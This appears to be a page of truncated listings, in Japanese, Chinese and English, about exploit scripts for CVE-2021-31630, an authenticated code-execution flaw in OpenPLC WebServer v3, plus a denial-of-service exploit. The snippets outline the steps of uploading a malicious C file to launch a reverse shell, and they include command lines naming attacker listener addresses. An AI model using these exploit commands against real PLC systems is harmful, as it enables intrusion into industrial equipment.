CVE-2021-31630

OpenPLC WebServer v3 - 認証済みRCE CVE-2021-31630 このエクスプロイトは、Fellipe Oliveira によって作成された Exploit-DB のエクスプロイトに基づいています。 まず、認証する 悪意のあるCファイルをアップロードする コンパイルする PLCを起動する（リバースシェルを開始する） PLCを停止する（実行する必要はありません。リバースシェルはすでに開始されています） root@kitploit: └─ python3 customexploit.py --url http://10.10.11.7:8080 --username...

CVE-2021-31630

CVE-2021-31630 OpenPLC 3 WebServer 認証済みリモートコード実行。 説明 Open PLC Webserver v3 にはコマンドインジェクションが存在し、リモートの攻撃者が任意のコードを実行できます。HTB の Wifinetictwo.htb マシンでのみテスト済みです。 この脆弱性を悪用するすべてのスクリプトで問題が発生しました。おそらく Parrot を使用しているか、ブラウザが原因かもしれません。ログインには Chromium が動作しますが、Firefox ではログインに問題があり、ログイン用の POST リクエストで Web...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - 认证后的 RCE 此 PoC 脚本基于 Fellipe Oliveira 提供的漏洞利用代码。 功能 : 直接将 C 代码上传到 /hardware，而非 st 文件上传 在上传反向 shell 之前恢复默认程序 改进的基于 C 的反向 shell，非阻塞 ，因此 Web 服务器不会挂起 ; 在后台生成 shell，即使 PLC 已停止也仍可运行，直到退出 清理 root@kitploit: $ python cve202131630.py -lh 10.10.16.68 -lp 4444...

Exploit for Code Injection in Openplcproject Openplc_V3_Firmware

cve-2021-31630 OpenPLC WebServer v3 - Authenticated RCE T...

OpenPLC WebServer 3 Denial Of Service

Exploit Title: OpenPLC WebServer 3 - Denial of Service Date: 10.09.2023 Exploit Author: Kai Feng Vendor Homepage: https://autonomylogic.com/ Software Link: https://github.com/thiagoralves/OpenPLCv3.git Version: Version 3 and 2 Tested on: Ubuntu 20.04 import requests import sys import time import...